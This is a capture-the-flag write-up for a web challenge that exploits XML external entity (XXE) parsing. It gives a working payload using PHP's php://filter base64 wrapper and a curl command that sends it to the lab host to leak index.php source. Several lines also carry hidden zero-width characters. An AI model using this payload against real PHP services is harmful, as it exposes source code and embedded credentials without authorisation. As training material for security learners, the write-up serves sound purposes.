XXE filter

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_wrapper, source_code_leak, xxe_php_filter

Summary

Walkthrough of the CUSTOM Web XXE filter. Task WEB_d242 from the advanced category. The web application is vulnerable to XXE. The flag is hardcoded in the PHP source code. Need to use XXE in combination with php://filter wrapper to read the s

Description

Task WEB_d242 from the advanced category. The web application is vulnerable to XXE. The flag is hardcoded in the PHP source code. Need to use XXE in combination with php://filter wrapper to read the source code.

URL: http://kslweb3.spb.ctf.su/2-4/

Analysis

The PHP application accepts XML data. Simple reading of PHP files via XXE doesn't work because the PHP code gets executed. The solution is to use the php://filter wrapper with base64 encoding to get the source code in encoded form. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key points:

• XXE vulnerability is present
• PHP backend
• Flag is in the source code (credentials/password)
• Need php://filter to bypass PHP execution

Solution

Step 1: Crafting XXE payload with php://filter

Using php://filter/convert.base64-encode/resource= to read the PHP file as base64:

 xml read-only • copy allowed Copy
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>&xxe;</root>

Step 2: Sending the payload

 bash read-only • copy allowed Copy
curl -X POST http://kslweb3.spb.ctf.su/2-4/ \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&xxe;</root>'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Decoding base64

The response contains base64-encoded source code of index.php:

 bash read-only • copy allowed Copy
echo "PD9waHAK..." | base64 -d

Step 4: Analyzing the source code

In the decoded PHP code, we find the hardcoded flag (credentials or password). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering base64_wrapper, source_code_leak, xxe_php_filter was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • XXE filter • Difficulty: Medium